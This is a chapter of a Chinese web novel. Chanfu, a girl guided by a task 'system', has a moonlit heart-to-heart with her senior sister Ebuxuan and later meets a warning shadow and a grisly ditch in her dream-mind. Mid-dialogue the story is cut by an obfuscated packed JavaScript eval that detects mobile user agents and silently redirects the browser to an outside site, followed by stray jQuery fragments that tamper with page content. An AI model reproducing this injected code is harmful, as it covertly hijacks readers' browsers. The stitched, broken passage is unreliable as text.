傍晚，系统叫禅浮消毒、包扎伤口后，便催促禅浮去见见厄步玄，说是增进感情的好时机。


    哪有什么好时机，只是上学的日子闲散，大家都闲得发慌。要是眼前放了好几沓卷子，看谁还想闲哉哉的去做什么增进感情的事。


    在禅浮看来，玄家的日子还是太闲散。这灵界，可以说是从小就靠那顽强的自制力和自身天赋，或者高耸入云的金钱山。所以既有厄步玄这样的天才，也有像玄家外院学堂这样的“储蓄罐”。


    “不知多久能下山啊……”禅浮边走边跳，偶尔碰到路上的石子便踢进草丛。这一不需要思考未来工作，二不需要思考存款的日子，实在是太美好。


    令家不在乎令禅学习环境是错，生活费上倒是不会亏待她。但是山上这个物欲有等于没有的地方，给她钱干嘛？


    有时没事干，她会把那些钱币上的纹路描个遍。虽然没啥用，但可以体会灵界文化的博大精深啊。


    “叮！”


    系统开始出馊主意：「缠着厄步玄让她准你下山。预计任务进度将增长到50%+……」


    “加你个鬼加加加。”


    禅浮虽嘴快，但已经开始想象自己缠着厄步玄的样子——


    “小步玄，你就让我下山嘛好不好？”


    “哕，”禅浮光是想一下就不行，她吐出一连串：“呕呕呕呕呕……”


    禅浮选择用更体面的方式赢得比赛。


    系统犯完贱，消失的悄无声息，同时不忘观测此重大任务的数值。


    “你爱我，我爱你，蜜……啊啊啊啊啊！”


    禅浮总有那么几个时刻，会想唱雪王主题曲，但是为何她每次刚想唱两句，就能碰到些能吓她一跳的。


    “小……小步玄，你在屋外啊。”


    月过屋檐，厄步玄坐在廊下，她一双沉在月光下的眼直勾勾把正唱歌的禅浮盯着，大半夜的着实有些吓人。


    “方才醋喝得多，在屋里闷得难受。”厄步玄投去一个嗔味儿十足的眼神，她注意到禅浮肩膀上的微微鼓起的异样，垂眉放下心来，像是真被那口醋闷到，低头寻杯，喝口茶冲淡那股味。


    禅浮接收到那眼神，整个人呆若木鸡，人机似的站在那儿，不知道的以为禅浮在和厄步玄玩一二三木头人。


    她呆愣半晌，恍然大悟。她凑过去挨着厄步玄坐下：“这个事情，我得同你说说我内心想法，就是不知你会不会对我这份肺腑之言多几分猜忌。”


    于许多人而言，这番话好像都不会吐露出来。世间情情爱爱，有话不说，有心不问，多是消磨。当然，这世间，有些人啊，喜欢是喜欢，可问却问不出个所以然，那心，也不知是何底色。谈何吐露？又谈何喜欢？


    禅浮虽是文科生，但或许是数学学得多，她总以解题的思路去看待一些事。若是那题做不对，就绝对是有几分自己的问题。她定是要多盘问盘问自己，再去反而复之，直到做出来为止。


    而在此之前，她会先把自己的思路全部捋通，写在纸上，一点一点去推敲。


    放在情感之上，亦然。


    虽不必写在纸上，但至少在直面自己不足的基础上去讲述自己的想法，说给自己听。若是到这一点上，还要自己骗自己，到底是为何意呢？


    所以她得说，并且要认真地说。心声换心声，她得知道对方的心声，才能知晓自己问题所在，继续盘问自己，永不停止。


    “嗯，”厄步玄头微偏向另一侧，道，“你说。”


    “首先，是我不知你会因此……唔，不知我会让你多心，从而对你有所疏忽。不过，小步玄你坐在高台之上，都不曾同我们一起是为何？这是我一个小小的疑问。其次，我同她们虽亲密，但绝不会多几分心思。不管怎样，在我心里，你还是比她们重要上许多的。最后，小步玄，谢谢你对我这般上心。我知道我说这般多你就信的话，那才是有鬼。


    不管怎样，现下我们才认识半月。你少信我一些，我多信你一些。剩下的，且看我为你做何行动。如此如此，小步玄你还生气吗？”


    禅浮说到一半，注意到厄步玄的那点窃喜，并未点出。她不知自己喜笑颜开，心也同厄步玄一道颤。现下她所知道的，是她实在不舍点破这点月色，就这样慢慢洒进她心头，也挺好。


    “我何曾生过气？”厄步玄总算把头偏过来，一双眼无甚意味，淡淡地把禅浮瞧。


    禅浮笑笑，举手投降道，“好，我输啦。但话已经说出口，我不会收回来哦。”


    “不同你们一道坐，是因着我一早就坐在师尊旁，总不能拂了师尊面子，叫她一人坐在那儿。我猜到你会坐在哪里，但……我是大师姐，该同玄师尊坐一块。”


    禅浮唯一的问题，厄步玄不仅听进去，还为她解答。


    些许人会略过这个问题，或者直接淡忘。它确实无关紧要吗？其实这意味着许多……甚至，更多。


    禅浮问：“小步玄，为何我总觉得学堂考那一天，你就在注意我了？”


    厄步玄轻哼一声，她手中灵力微动，又在空中点出那图阵。


    “令禅之事，我略有耳闻。亲自下山进行学堂考，本是想将那些人揪出来，但再看到你时，我就知你不是令禅。”


    禅浮嘴巴微张，半晌没吱声。她的袖口被摩挲出好些皱痕，似是想重回学堂考，遮掩那即将掉下来的草稿纸。


    不是，那系统难道不会发现剧情错乱，要她重新过一遍这个流程吗？哦……也是，她又不是穿书。可是这也不对啊，照理说，也不能让灵界知道她真的不是令禅吧？


    那，那现在说禅浮是她的艺名还来得及吗？


    禅浮甚至没得到系统一点儿警告和鸟语花香，看样子，系统似是想让禅浮继续聊下去。


    “你……相信这些？”


    不应该是禅浮说什么厄步玄都捂住耳朵说：“你傻了吧？”之类的话吗？


    “为何不信？两界融合，发生异事本就寻常。再说，白老师是灵帝，天下之事，她无所不知，无所不晓。关于你的那部分，她早已告诉我。”


    禅浮眨眨眼，感觉脑袋炸炸的，她问：“那如果我还是令禅，学堂考的那道题无人答上，你会怎样做？”


    真不知厄步玄不遇到她，会遇到怎样的“令禅”。她还会像对自己这般对那个人吗？或是，无论那个人是谁，她都会这样。


    厄步玄淡眉轻皱，当真在思考禅浮这问话。她一点一点吐露道，“谁答题无关紧要，这是偶然，就算有，我也不打算收。灵界出现你这般的人，才是必然。收你，是玄师尊和白老师的意思，就算学堂考收不到你，白老师也会把你寻来。所以，我遇上你……是必然。”


    禅浮以为，厄步玄会说些好话。在禅浮看来，若是那样的回答，反倒更叫人难过。什么叫“会一直等你来答上”？这样的话，是错误的。禅浮也不需要听这种漂亮话，太缥缈，太笃定。


    人哪有那么多笃定。再过多年，谁会知道自己很久以前的笃定。那些话到底是怎么说的？说给谁听的？做到了吗？还是已经花开两朵，天各一方。如此沉甸甸的话，说出来自己都不知道能不能负责，何必想也不想就脱口而出。


    “我这样的禅浮，遇上你这样的厄步玄，是必然的话……在我的那个世界，甚至更多的世界，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958446|176557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    禅浮都会从她自己的世界奔向厄步玄的世界？”


    厄步玄摇头：“不，其他世界我不曾知，谁又会知？她们许是样貌、姓名都同我们不一样。那些厄步玄不是我，那些禅浮亦不是你。我只知我身处的灵界，正在和你的世界相遇。”


    禅浮真是有种割裂感，古里古气的厄步玄，竟会一口一个类似于“时空、世界”这样的词。还得是禅浮，已经把厄步玄带偏。


    “小步玄啊，为何我……总觉你也不是这个时代的人。”


    厄步玄起身掀开门帘，庭过月下，一张清冷的脸迎着些月光，柔极了。她眉眼微弯，意味深长地笑道，“以后再告诉你，去歇息吧。”


    这一夜，禅浮踢石子慢悠悠地走回玄正舍。


    系统的恭喜音效盘旋在耳旁，敲锣打鼓好不热闹：「“接近厄步玄”任务进度条更新：50%。」


    禅浮哈口气，抬头看那冷月。秋冬的日子即将来临，微拂来的风都有些冷。数字的增加已经不再重要，她不知自己对厄步玄有几分真心，更不知自己对得起、配得上多少真心。


    或许，真该测量的，是她的真心啊。


    以数字计量的方式去亵渎厄步玄的真心，是不能的，万万不能的。


    系统测算到禅浮的多神，劈里啪啦的劲爆电音炸满禅浮耳朵：「宿主今明两天需完成四十道题以及三角函数预热部分。考虑到宿主一睡就不省人事，不如……」


    禅浮扯开被褥换上厚的，倒腾许久。她理都不乐意理系统一下，缩进被子里闭眼睡去。


    脑海中，禅浮逮到正打算酣睡的系统身影，上去就是一两个巴掌。她只是看不到系统长什么样子，又不是不知道神识里没见过的东西且嗷嗷叫的东西是甚。这玩意儿，不是系统还能是谁？抽就完事。


    待禅浮报完仇，她打算进入梦乡，又见神识里那蜷缩的黑影，与之前不同的是，它现下正啃食些甚。


    禅浮强忍心头那点麻刺，静静站在不远处听那咀嚼声判断那玩意儿到底在嚼什么。


    听起来不像在啃肉，啃肉会有那种咔擦声。但又不像在吃蔬菜，更不像在嗦粉嗦面条，反而有种咕嘟作响的声音。


    “你在我家吃啥啊，给钱了吗？”


    禅浮倒不是不怕，她就是觉得，一回生二回熟嘛。再说，都靠这么近，早死晚死都会死。


    “没……没……这几日，可要小心。”


    禅浮蹲在地上歪头看去，发现那黑影双眸被布缠绕，其布没甚血渍，应当不是被他人所挖去双眼，“你为何总来我家玩儿啊？我家有甚你想要的东西吗？”


    “没……没……我……我最后一点良……注意……安全。”


    禅浮从未在灵界听过“注意安全”这话，她瞪大双眼，往黑影那边跨去：“你，你是我那个世界的人吗？你叫什么？你……你还活着吗？”


    “别过来！”黑影厉声喝道。


    禅浮仅差半步便能踩到那沟渠之中，她被黑影的厉声制止。很快，她眼前的沟渠变成混黑血腥的水，里面不时有些奇形怪状的手朝她那儿伸，像是在等待她这个猎物踩进水中。


    “为何你在这种地方？这里不是我的神识海吗？”禅浮是个不怕死的，她强忍恶心，想看清水里到底是什么东西。奈何光线太暗，她又没手电筒，便抬头问道：“你知道这儿是哪儿吗？应当不是我家吧？”


    须臾间，禅浮抬眼不知看到甚，很快又消失不见。她险些怀疑自己眼花。明明她脑海里只有那一个身影，可方才那一瞬多出好几个，且绝不是同一个身影。


    “大晚上的……演恐怖片也不用通知我呀，我不喜欢看。”